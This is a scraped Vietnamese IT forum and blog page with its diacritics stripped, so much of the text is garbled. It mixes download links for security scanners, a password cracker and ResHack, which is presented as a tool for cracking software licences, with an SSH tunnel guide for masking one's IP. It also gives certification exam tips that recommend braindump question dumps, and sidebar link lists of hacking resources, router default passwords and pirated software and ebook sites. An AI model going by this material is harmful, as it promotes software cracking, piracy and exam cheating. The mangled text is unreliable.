Download: Trch: http://www.4shared.com/file/42973942...y_Scanner.html Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n dinhhoaigiang Xem h s Gi nhn tin ti dinhhoaigiang Tm bi gi bi dinhhoaigiang B dinhhoaigiang vo S Bn B #4 Thng Bo Ni Dung Xu Unread 04-04-2008, 02:37 PM dinhhoaigiang's Avatar dinhhoaigiang Hin ang: dinhhoaigiang is online now IT cp 2 Tham gia ngy: Feb 2008 n t: H Ni Bi gi: 137 Ni li cm n: 7 c cm n 103 ln / 41 bi vit Default .Retina Sn phm tuyt vi nht ca EEYE: Mc d GFI rt mnh m trong vic qut li bo mt cho h thng cng nh v li, hardening.. tuy nhin khi bn mun chn an hay kim tra cc li bo mt cho nhng server hay remote computer nhu web hay mail server th sn phm ca hng bo mt Eeye : Retina mi l sn phm s 1 trong lnh vc ny. Vi Database ln c cp nht thng xuyn Retina lun cnh bo chnh xc cc mi nguy him v li bo mt mi v a ra cc khuyn nghi
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Hin ang: underwarez is offline Administrator Tham gia ngy: Dec 2007 Bi gi: 1,839 Ni li cm n: 123 c cm n 250 ln / 157 bi vit Default Gii thiu mi ngi ci putty: Hng dn Fake ip bng host SSH v Putty! Trc ht bn hy down putty v, ri lm theo cc bc sau fake ip : PUTTY 1/ M n ln, vo tunnels , g vo source port : 1080, chn Dynamic, ri nhn vo Add 2/ Chn session , in vo host name hoc ip, port 22 connect vo host ssh. Nh chn SSH. Nh t tn cho session save session ln sau tin vo li. 3/ Login vo host ssh ca bn. 4/ Vo IE vo Internet option, chn connections, chn Lan setting, Chn User a proxy chn Advanced. o sock : g vo 127.0.0.1 hoc localhost, port m bn chn bc 1, y l 1080. Chn Sock5. Gi bn hy check li ip ca mnh ip2location.com hoc showip.com u im ca cch fake ip bng host ssh th ny l lt web nhanh v an ton. Download: Code: http://www.mydatabus.com/public/underwarez/putty.exe Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n underwarez Xem h s Gi nhn tin ti underwarez Tm bi gi bi underwarez B underwarez vo S Bn B #9 Thng Bo Ni Dung Xu Unread 04-04-2008, 03:34 PM underwarez's Avatar underwarez Hin ang: underwarez is offline Administrator
Tham gia ngy: Dec 2007 Bi gi: 1,839 Ni li cm n: 123 c cm n 250 ln / 157 bi vit Default reshack l phn mm chuyn dng vit ha phn mm chnh sa cu trc file v ci cui cng l p cp bn quyn phn mm Code: http://www.mydatabus.com/public/underwarez/ResHack.zip Hoc: Code: http://www.angusj.com/resourcehacker/reshack.zip Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n underwarez Xem h s Gi nhn tin ti underwarez Tm bi gi bi underwarez B underwarez vo S Bn B #10 Thng Bo Ni Dung Xu Unread 04-04-2008, 03:37 PM underwarez's Avatar underwarez Hin ang: underwarez is offline Administrator Tham gia ngy: Dec 2007 Bi gi: 1,839 Ni li cm n: 123 c cm n 250 ln / 157 bi vit Default Rainbow*****,phn mm chuyn dng ph cc dng m ha bo mt: Download: Code: http://www.mydatabus.com/public/underwarez/rainbow*****1.2win.zip
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Tahoma Times New Roman Trebuchet MS Verdana m Nghing Gch Di Bn Tri Chnh Gia Bn Phi
Chn lin kt B Hnh Vo Bi t trong th [QUOCTE]. Decrease Size Increase Size Switch Editor Mode Ty Chn Km theo ch k Km theo trch dn ca bi trn ang tr li nhanh - Bn hy i trong giy lt ang tr li nhanh - Bn hy i trong giy lt ang c: 1 (1 thnh vin v 0 khch) haodalat iu Chnh To trang in To trang in Email trang ny Email trang ny Subscription Theo di ti ny Xp Bi Ch bnh thng Ch bnh thng
Ch pha trn Chuyn sang ch Pha trn Ch Dng cy Chuyn sang ch dng cy Kim Trong Bi Tm kim chi tit Cho im Ch Ny Rt ttRt tt TtTt Trung bnhTrung bnh TT Qu tQu t Quyn Hn Ca Bn Bn c quyn gi bi Bn c quyn gi tr li Bn c quyn gi km file Bn c quyn sa bi vB code ang M Smilies ang M [IMG] ang M HTML ang Tt Chuyn n Khung iu ChnhNhn tinang theo diPhc Trnh Vng LaiTm kim trong chuyn mcTrang u WELCOME TO ITLAB Thng bo v quy nh chung Cc bi vit c gi tr Hand-on Lab kin ng gp IT News TECHNICAL CENTER MICROSOFT AREA [70-270 | 70-290 | 70-620] Managing Windows XP - 2K3 Vista [70-291 | 70-293] Network Infrastructure [70-298 | 70-299] Implementing Security [70-284 | 70-285 | 70-236] Exchange Server 2003 2007 [70-294 | 70-297] Active Directory [70-350 | 70-351] ISA Server 2004 2006 Cc mn hc khc [70-272 | 70-292 | 70-296 ...] SECURITY Cc vn khc RESOURCES & TUTORIALS TUTORIALS Microsoft Security Kin thc c bn v mng Tutorials on demand Video trainings E-books Microsoft Security E-books ting Vit Network basic e-books Ti liu luyn thi chng ch M$ Ebook theo yu cu Software Phn mm v mng v bo mt Phn mm thng thng Phn mm theo yu cu Cc ti nguyn khc OFFTOPICS CHATTING Khu hc vin ITLab Tn gu Qung co,rao vt,c hi ngh nghip... Khu gii tr Thng rc
Alexa Certified Site Stats for forum.itlab.com.vn The time now is Powered by: vBulletin v3.6.8 Copyright 2000-2008, Jelsoft Enterprises Ltd. Style Design by ITLab ch phn gi tt nht 1024x864 hoc cao hn Lin Lc | ITLAB Academy | Lu Tr | Tr Ln Trn
02-04-2008
Kinh nghim pass 7-648
Ngy 28/03/2008 mnh mi thi xong mn 70-248. Gi post li t kinh nghim cho anh em thi sau mi ngi c thm t tin khi bc vo phng thi. 1. Ti liu n: vn l 70-648 55Q&A- Download y 2. Thi Gm 2 phn mi phn c thi gian ring. V thoi mi cc thi sinh lm. Khi finish phn I xong (27 cu), s c chuyn qua phn II. (23 cu). Mi phn c thang im nh gi ring. 3. Nhn xt: Nn: - Nn hc ti liu pass4sure hay ci examworks(copy ca p4s) - ng k thi vo khong thi gian 9-10h. Lc tinh thn sng khoi nht. Chiu th 2h- 3h v lc khng bn ng. - Troc khi i thi lm li 1 ln cui cc cu ca p4s tht chm review li cc case khi i thi c th suy lun loi cc p n m ta khng nh r hoc nh m m. - Ln forum nht ngh cp nht tin tc thi trc khi thi. hehe Khng nn: - Khng nn hc Testking v thng ny di dng. Cu hi lung tung ri. - i thi trn 11h tra, va i va mt kh tp trung thi V cui cng l thi v nn PASS. Chc cc ng ch may mn. Cn sp ti t thi mn 70-620 v 70-643. Sn y cho mnh hi c ng ch no c P4S mn 70-643 khng send cho mnh vi. Thanks nhiu Email to: alicuky@yahoo.com http://www.nhatnghe.com/forum/showthread.php?t=17664 c ng bi haodalat ti 7:07 SA 0 nhn xet Nhan: Pre Exam
01-04-2008
5 ch nht Passing Microsoft Server 2003 MSCE/MCSA
Nu bn ang c nh ly cc chng ch ca Microsoft, iu ny khng phi d nhng bn ng qu lo lng. y l bi vit ca gio vin Roger Grimes, mt MCT ngi c gn 20 nm o to v cc chng ch ca Microsoft, s cho bn li khuyn, nhng vn cn ch c th qua c cc core ca MCSA v MCSE. Nu bn cha quen nhiu vi Microsoft Server 2003, n s khng ging vi nhng mn thi trc kia ca Microsoft. Trc kia ti c thi cc chng ch ca Microsoft nhng vo thi gian cng ty nng cp t phin bn NT 3.51 ln bn NT 4.0, vi s thay i rt ln t phin bn trc l Windows 3.x. Ti l
gio vin dy v cc ni dung ca Microsoft t nm 1990 cho n by gi, ti thi qua rt nhiu chng ch, bi ti phi dy v n. Nu bn c iu kin tm hiu v s lng ngi c chng ch MCSEs trn nn Windows 2000 c ti 250,000 ngi, trong khi c t hn 12,000 ngi c chng ch MCSEs trn nn Windows Server 2003, v l l do ti ni n khng phi l d ly c, vi s thay i cch thi... n to ra s kh khn cho th sinh thi, nhng ti ngh hon thnh 30 n 50% th l iu khng kh. Di y l nm iu ch nu bn nm bt c ton b kin thc th bn c th qua c cc k thi ca MCSE/MCSA ca Microsoft Server 2003 l khng kh. Tip #1: Be Prepared in Depth and Width Vi vic thay i cu trc cu hi mt cch thng minh, yu cu ngi thi phi nm kin thc mt cch tng qut v c chiu su. Trc kia khi bn thi cc chng ch NT vi Certificate Service l rt kh s dng n. Bn c th thc hin bi thi mt cch d dng nu bn nm vng l thuyt, vi cc chng ch v Windows 2000, bn cn hiu bit mt cch c bn v kin thc c th s tr li c mt vi cu hi. Nhng vi Windows Server 2003, nhng kin thc l thuyt dng nh cha , bn phi c mt ci nhn ton din v kin thc, kh nng s dng cc kin thc ca mnh vo cc bi ton thc t, bi cc cu hi khi thi cc chng ch ca Microsoft Windows Server 2003, buc bn phi tr li theo cc tnh hung khc nhau. Hiu su, v c kin thc tng qut th kh nng thi c chng ch ca Microsoft l khng kh. Bn thc hin trn cc client, bn lm vic trn mi trng GUI ( ho), nhng khi lm vic vi Windows Server 2003 bn buc phi lm vic vi mi trng dng lnh, vi tc dng - hiu qu, nhanh chng, v d dng thc hin. Tip #2: Understand Real World Applications and Implications Vi kin thc thi 2003 MCSA/MCSE, cu hi rt thc t. l cc bi ton c tnh ng dng cao. Trong trng hp ngi hc khng qua c cc bi thi v chng ch MCSA/MCSE th hy kim tra li kin thc ca mnh v nhng k nng thc t cng nh nhng bi ton c t ra trong sut qu trnh hc. Vi DNS bn phi thu hiu cch n lm vic v cch trin khai n trn mt h thng ln, iu ny s rt kh vi nhng ngi khng c iu kin lm vic tip sc vi mi trng thc t. Vi kin thc v DNS s phi thc hin trn mt mi trng rt ln, n c th lm vic vi cc my ch Unix DNS, bn phi bit phn tch h thng v ly cc thng tin cn thit t vic s dng cu lnh. Nhng cu hi v cc s c trong DNS, Active Directory hay v a ch IP, l nhng bi ton t ra rt st vi thc t nhng li thng xy ra cho h thng. Tht may mn l khi bn thi chng ch ca Microsoft th bn c iu kin tip sc vi nhng tnh hung thc t v cng b ch gip bn sau ny c iu kin gii quyt s c mt cch nhanh chng.
K nng gii quyt s c v TCP/IP s ng mt vai tr rt ln trong k thi ny. Bn c th c mt cu hi di vi nhiu proxy server, firewalls v RRAS services, m bn ch phi tm ra mt li rt nh khi thit lp sai mt a ch IP. Tip #3: Move Away from the Multiple-Choice Mentality C rt t vic la chn nhiu p n cho mt cu hi vi cc k thi trc kia. Bn s phi nhn nhiu hnh nh minh ho, v bn c th cu hnh trc tip trn mn hnh ho, bn phi drag-and-drop v vi nhiu dng cu hi khc. Rt nhiu cu hi dng la chn nhiu p n c bit trong core 70291, n khng phi l ton cu hi trn nn ha i khi bn phi g nhng dng lnh p n... Tip #4: Use Time-Restricted Practice Tests S dng thi gian l mt tham s kim nh tnh xc thc v chng gian ln trong qu trnh thi c ca th sinh. Vi mt thi gian c xc nh lm tham s kim tra cho qu trnh thi c. Trc kia s khng c vn g nu bn hon thnh bi thi mt cch nhanh chng. Nhng hin nay nu bn lm bi thi mt cch qu nhanh c ngha nhanh ngoi mc cho php ca bi thi th Microsoft s hu bi thi . c k ton b cu hi, m bo ton b cc tab bn xem st ht th mi c next sang cu hi khc. Microsoft tnh ton mt cu hi bn khng th va c va suy ngh va tr li di mt pht/1cu hi, do nu nhng bi thi vt qu thi gian cho php v d thi 70-270 nu bn lm bi thi di 30 pht th bi thi s b hu. Vi tc c v suy ngh ca ngi bnh thng l 2.1 pht/1 cu hi, nu bn lm c nhanh n u i na, m bo bn khng phi l k hc vt th bn cng phi lm vi tc t nht l 1 pht/ 1 cu hi. Cho nn vi Microsoft th nhng ngi hc vt s b hu bi thi khi tham gia vo thi MCSE/MCSA. Mt core rt kh na l core 70-297 vi mi tnh hung bn phi vit ra nhng yu cu ca cu hi v phi tr li ng cu hi th bn mi c im. Mi cu hi bn phi vit nhng kt qu v sao bn chn cu hi iu ny chng minh k nng cng nh kin thc ca bn. Khng ch tr li ng, bn phi tr li c v sao li lm vy iu ny chng minh cho bit bn l ngi c k nng v kin thc thc s. Tip #5: Youll Need a Higher Passing Percentage to Pass Bn ngh im qua mt mn thi ca Microsoft l 700/1000 v bn d dng vt qua n, l mt sai lm rt ln, bi bn t nht phi hon thnh ng 85% s lng cu hi ca bi thi, c ngha bn phi tr li ng 85%
cu hi. C ngi ni h ch sai hai cu hi s im ca h l 748 im, c ngi ni h sai mt cu hi s im ca h l 800 im. Theo ti nghin cu th s im qua ca cc th sinh bnh thng nm trong khong 70-750 im, v ti khng bit ti sao na c th ti l mt gio vin khng gii lm th phi. Ngi hc vin gii nht cng ch thi c 750 im. H ni 1000 im l mt iu rt kh, v ti cng ngh 700 im l cng rt cao ri, 700 nhng phi ng 85% cu hi, trung bnh mt bi thi khong 35-40 cu hi m thi. End Result Nu bn c y cc kin thc v k nng thc t cng vi s hiu bit ti tin bn s vt qua k thi ca Microsoft. Mc d chng ch ca Microsoft khng h d cht no, thc s m ni nh core 70-297 c l cha mt ai ni l d nu vt c qua k thi ny, 70-291 cng vy mt ngi t c 1000 im iu ny qu thc ti cha gp hay ti s hiu bit ca ti c hn. Tm li mt iu, khi bn c cc yu t ri bn hon ton c th yn tm mt iu "bn s c c chng ch MCSA/MCSE ca Microsoft. Nhng cc bn cng nn lu 5 iu trn khi thi chng ch ca Microsoft. [ST] http://www.nhatnghe.com/forum/showthread.php?t=9527 c ng bi haodalat ti 10:56 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, NETWORK 05/2008 03/2008 Trang ch ng k: Cac Bai ng (Atom)
NHNG BI GN Y

Kt ni mng VPN trong Windows XP Gii m a ch IP D a ch IP th no nu ang dng mt proxy server n danh DNS lm vic nh th no? Cc lnh v mng
TT C CC BI

thng ba (222) thng t (165) thng nm (4)
thng su (15) thng mi (110) thng mi mt (2) thng mi hai (2) thng mt (1) thng ba (121) thng t (98) thng nm (67) thng su (12)
C.E.H NN

http://sectools.org/os-detectors.html http://www.aliveproxy.com/ < Scanning > http://www.apnic.net/ < Footprinting > http://www.arin.net/index.shtml < Footprinting > http://www.demon.net/ < Footprinting > http://www.dev.blogfa.com/ < TOOL > http://www.dnsstuff.com/ < Footprinting > http://www.domaintools.com/ < Footprinting > http://www.geektools.com/whois.php < Footprinting > http://www.iana.com < Footprinting > http://www.internic.net/ < Footprinting > http://www.ip2location.com/ < Footprinting > http://www.kartoo.com/ < Footprinting > http://www.myipneighbors.com/ < tra xem co trang web nao cung host ko? >
http://www.phenoelit-us.org/dpl/dpl.html < PASSWORD MAC DINH CUA CAC ROUTER CAC HANG > update
http://www.whatismyip.com/ http://www.whois.net/ < Footprinting > WHOIS cua rieng moi quoc gia
C.E.H (Certified Ethical Hacker)
http://ajie.web.id/index.php? Itemid=29&id=112&option=com_content&task=view (CEH tools
http://distrowatch.com/ http://hackerstorm.com/ http://hackerwatch.org/ http://metasploit.com/ http://nmap.org/book/man.html http://packetstormsecurity.org/ http://securitytracker.com/startup/index.html http://www.iana.org/domains/root/db/vn.html < 7 server tai viet nam >
http://www.lengmo.net/post/512/ (CEH tools) http://www.microsoft.com/security/default.mspx http://www.milw0rm.com/ http://www.securiteam.com/ http://www.securityfocus.com/ http://www.snadboy.com/ < Revelation v2.0 > Kin thc c bn v mng
ENGLISH

globaledu A-V , V-A , P-V , V-P , Oxford , t ng ngha, hoctienganhonline
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HACKER-CRACKER

Tng hp seri ca hn 15000 phn mm ! http://www.download.onboom.com/App/Free_download/Itemid, 101/hien-thi,danh-sach/id,181/from,1941/down,5178/
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EBOOKS IT

http://www.warungplus.com/ebook/page/3/ http://rapidshapid.com/category/ebooks/ tap hop link download sach tu amazone
http://www.bookilook.com/book/5129801F/Testking_70_270_V4 1_210_Q_a
http://www.rsfind.com/tag/Testinside Latest Added Technical ebook download: http://vinasofts.ws/forum/index.php http://www.thuvien-ebook.com/forums/index.php http://www.vietteam.com/bbs/ http://www.thuvientinhoc.com/forums/index.php http://thegioiwebsite.net/download.php http://www.softvnn.com/forum/forumdisplay.php?f=648 http://ketnoibanbe.org/forum/f31-font-size-3-color-blueth-vinebookfont.html
http://www.warungplus.com/category/ebook/ http://www.3c.com.vn/Zone/vn/hotrokhachhang/ebooks.html http://www.btebook.com/11-01a8edbf9d27cebe.htm http://www.cntt.vn/EBook.aspx?EBookGID=3212 http://www.ebook4you.org/diendan/index.php http://www.ictvietnam.net/forum/ http://www.box.net/public/ik9j057ojl#main http://www.box.net/shared/3speivp034 http://www.xdownx.org/ http://videotutorialsforall.blogspot.com/ http://www.actualtests.com/ username $ pass: trithuccongdong.com Kien thuc ve Mang may tinh +nhie sach ve cac linh vuc khac' http://gigapedia.org/browse.html http://bookilook.com/ http://ebuki.lionhost.ru/ Hacker_Vn_Book
tai lieu dao tao tu xa cua KHTN http://www.ictvietnam.net/forum/archive/index.php?f-52.html http://ebuki.lionhost.ru/filebrowser.php?path=books http://hocit.com/forum/forumdisplay.php? f=118&order=desc&page=2
s/eLearning_book/languages/0713679174.html .com/11-e9c3ae811f4a0ee0.htm s ln nht hin nay bao gm c ting Anh v ting Vit. zone.com/ .com/0-01a8edbf9d27cebe.htm http://www.zillr.org/ http://get4share.com/forum/forumdisplay.php?f=269 http://www.free4vn.org/sach-tin-hoc/index2.html hay tai lieu mang s 4shared knowfree .vinagrid tri thuc cd tri thuc cong dong books.rackhub s ftp go 8x click-now home saigon365
avsnonline book.rackhub lanet SCH V CISCO MZWORLD chmpdf-chia theo ch free esnips-do minh tan esnips-baoanh vinagid v DotNet soft-vn ca VDC p2 ca VDC p1 SV BK free4vn Giao trinh thit k Web bng Ting Vit gio trnh thit k web video training- photoshop,corel, 3DMax,.. Sch c cp nhp _t_ updatesofts sheaven sdb chia theo chu de Home of 6200+ FREEWARE Software th gii design-nhiu hnh clipart, icon, Clipart ca photoshop ting anh
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